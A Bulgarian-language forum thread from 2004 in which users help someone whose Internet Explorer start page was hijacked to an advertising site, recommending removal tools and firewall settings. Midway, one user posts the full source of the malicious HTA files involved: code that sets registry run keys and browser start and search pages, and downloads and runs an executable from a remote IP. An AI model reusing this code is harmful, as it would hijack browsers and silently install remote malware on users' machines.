Че ти си акъл имаш, отговора е още в заглавието на темата:
<center><font size="5">IE - няма спасение от реклами...</font id="size5"> </center>
Авсолютно точно, докато си с IE, спасение НЯМА!
Че ти си акъл имаш, отговора е още в заглавието на темата:
<center><font size="5">IE - няма спасение от реклами...</font id="size5"> </center>
Авсолютно точно, докато си с IE, спасение НЯМА!
А, сетих се за нещо. Преди като и аз имах подобен проблем като напихех адреса заедно със http:// немаше проблеми с рекламите.
The_UFO само искам да те питам какво имаш впредвид под "- не стана с JV Power Tools" - понеже точно благодарение на него успях да го открия това нещо. При мен update.js го нямаше в startup листата на msconfig, но фигурираше в тази на JV Power Tools. Не че правя някаква реклама (то няма и как, но просто е желязна тая програмка. Ако не беше тя сигурно още щяхме да си гледаме реклами [:D]
Обикновенно са 2 или три файла *.php които вътре са HTML Application . Ето го сорса и как се залепят
Код:<html> <head> <HTA:APPLICATION WINDOWSTATE='minimize' SHOWINTASKBAR='no' /> <title>sexy girls</title> </head> <body> <IFRAME SRC="http://69.31.86.252/ho3s.php" APPLICATION="yes"></IFRAME> </body> </html>
Този е троянския кон , а следващия вече е гадината
Код:<html> <head> <script language="javascript"> var fso = new ActiveXObject("Scripting.FileSystemObject"); var Shell = new ActiveXObject("WScript.Shell"); try { var tfolder2 = fso.GetSpecialFolder(0); var filepath2 = tfolder2 + "\\update911.js"; var a2 = fso.CreateTextFile(filepath2, true); a2.WriteLine('var url = "http://81.211.105.9/index.php?v=1";'); a2.WriteLine('var burl = "http://81.211.105.9/search.php?v=1";'); a2.WriteLine('var fso = new ActiveXObject("Scripting.FileSystemObject");'); a2.WriteLine('var tfolder = fso.GetSpecialFolder(0);'); a2.WriteLine('var filepath = tfolder + "\\\\update911.js";'); a2.WriteLine('var Shell = new ActiveXObject("WScript.Shell");'); a2.WriteLine('Shell.RegWrite("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\tlc",filepath);'); a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page",url);'); a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Search Page",url);'); a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Search Bar",burl);'); a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Use Search Asst","no");'); a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Use Custom Search URL",1,"REG_DWORD");'); a2.Close(); Shell.Run(filepath2); } catch (e){} var tfolder = fso.GetSpecialFolder(2); var filepath = tfolder + "\\tmk.js"; var a = fso.CreateTextFile(filepath, true); a.WriteLine('var url = "http://69.31.86.252/xltmk.dat";'); a.WriteLine('var fso = new ActiveXObject("Scripting.FileSystemObject");'); a.WriteLine('var tfolder = fso.GetSpecialFolder(2);'); a.WriteLine('var filepath = tfolder + "\\\\tmk2206.exe";'); a.WriteLine('var x = new ActiveXObject("Microsoft.XMLHTTP");'); a.WriteLine('x.Open("GET", url ,0);'); a.WriteLine('x.Send();'); a.WriteLine('var s = new ActiveXObject("ADODB.Stream");'); a.WriteLine('s.Mode = 3;'); a.WriteLine('s.Type = 1;'); a.WriteLine('s.Open();'); a.WriteLine('s.Write(x.responseBody);'); a.WriteLine('s.SaveToFile(filepath,2);'); a.WriteLine('var Shell = new ActiveXObject("WScript.Shell");'); a.WriteLine('Shell.Run(filepath);'); a.Close(); Shell.Run(filepath); </script> <HTA:APPLICATION WINDOWSTATE='minimize' SHOWINTASKBAR='no' /> <title>sexy girls</title> </head> <body onload='window.close()'>
При мен спря защото firewall-а беше настроен HTML Application да не вървят в нета .
Търси и трии . Ако не в стартъпа прегледай и логоф стъпките .
<blockquote id="quote"><font size="1" id="quote"><b id="quote">quote:</b id="quote"></font id="quote"><table border="0" id="quote"><tr id="quote"><td class="quote" id="quote"><font size="1" id="quote">The_UFO само искам да те питам какво имаш впредвид под "- не стана с JV Power Tools" - понеже точно благодарение на него успях да го открия това нещо. При мен update.js го нямаше в startup листата на msconfig, но фигурираше в тази на JV Power Tools. Не че правя някаква реклама (то няма и как, но просто е желязна тая програмка. Ако не беше тя сигурно още щяхме да си гледаме реклами [:D]
<div align="right">Originally posted by The Mask*-*14/01/2004*:* 02:13:25</div id="right">
</td id="quote"></tr id="quote"></table id="quote"></blockquote id="quote"><font size="2" id="quote"></font id="quote">
Ами нищо не откри при мен JV Power Tools, добре че беше ти да ми кажеш кое да изтрия )
<blockquote id="quote"><font size="1" id="quote"><b id="quote">quote:</b id="quote"></font id="quote"><table border="0" id="quote"><tr id="quote"><td class="quote" id="quote"><font size="1" id="quote">
А, сетих се за нещо. Преди като и аз имах подобен проблем като напихех адреса заедно със http:// немаше проблеми с рекламите.
<div align="right">Originally posted by Julian - 14/01/2004 : 02:13:25</div id="right">
</td id="quote"></tr id="quote"></table id="quote"></blockquote id="quote"><font size="2" id="quote"></font id="quote">
Преди ставаше...сега еволюираха ))
До колкото си спомням преди време във форума фигурираше един човек дет казваше Evolve or Die, а интернет рекламата определено не иска да мре.. иначе UFO, честито за спасението!
<offtopic>
UFO, кога дете мое ще се сетиш да ми се обадиш да ходим на кафе(бира), не знам ти ли учиш много аз ли уча обаче нещо не можем да се засечем да се видим.
Да не забравиш да предадеш много поздрави на сестрата на *знаеш на кого*
</offtopic>
<blockquote id="quote"><font size="1" id="quote"><b id="quote">quote:</b id="quote"></font id="quote"><table border="0" id="quote"><tr id="quote"><td class="quote" id="quote"><font size="1" id="quote">Имам следния проблем. Отварям IE линква ми се автоматично към: http://81.211.105.9/index.php?v=3 което пък от своя страна пренасова към няколко .ws сайта със смотани реклами. Отивам на IE options -> blank, пускам IE никаква промяна. След това изтрих от регистрито всички reg-ове със съдържание http://81.211.105.9/index.php?v=3 рестартирах, пак същите глупости.
OS-то е на 1-2 седмици Win 2003 server, не съм отварял никакви рекламни сайтове или подобни глупости, не съм качвал никакви програми които да предизвикат това, просто се появи от самосебе си. Някой ако има идея как да оправя нещата...
<div align="right">Originally posted by The_UFO*-*10/01/2004*:* 18:32:11</div id="right">
</td id="quote"></tr id="quote"></table id="quote"></blockquote id="quote"><font size="2" id="quote"></font id="quote">
<font color="blue">1.</font id="blue"> Има една програма IEGuard, тя се грижи за проблеми като твоя, като предотвратява лепенето на каквото и да е към IE, както можеш да се сетиш и от името и.
<font color="blue">2. </font id="blue">Антивирус <font color="red">+</font id="red"> firewall (конфигуриран) <font color="red">+</font id="red"> Ad-aware/SpyBot <font color="red">=</font id="red"> сърфиране без реклами
ru-boy, уцели 10-ката... ако може да откачим и мрежовия кабел ще е най-добре При тази конфигурация винаги ми се е налагало да забранявам или изключвам нещо от гореспоменаните, но друга алтернатива засега няма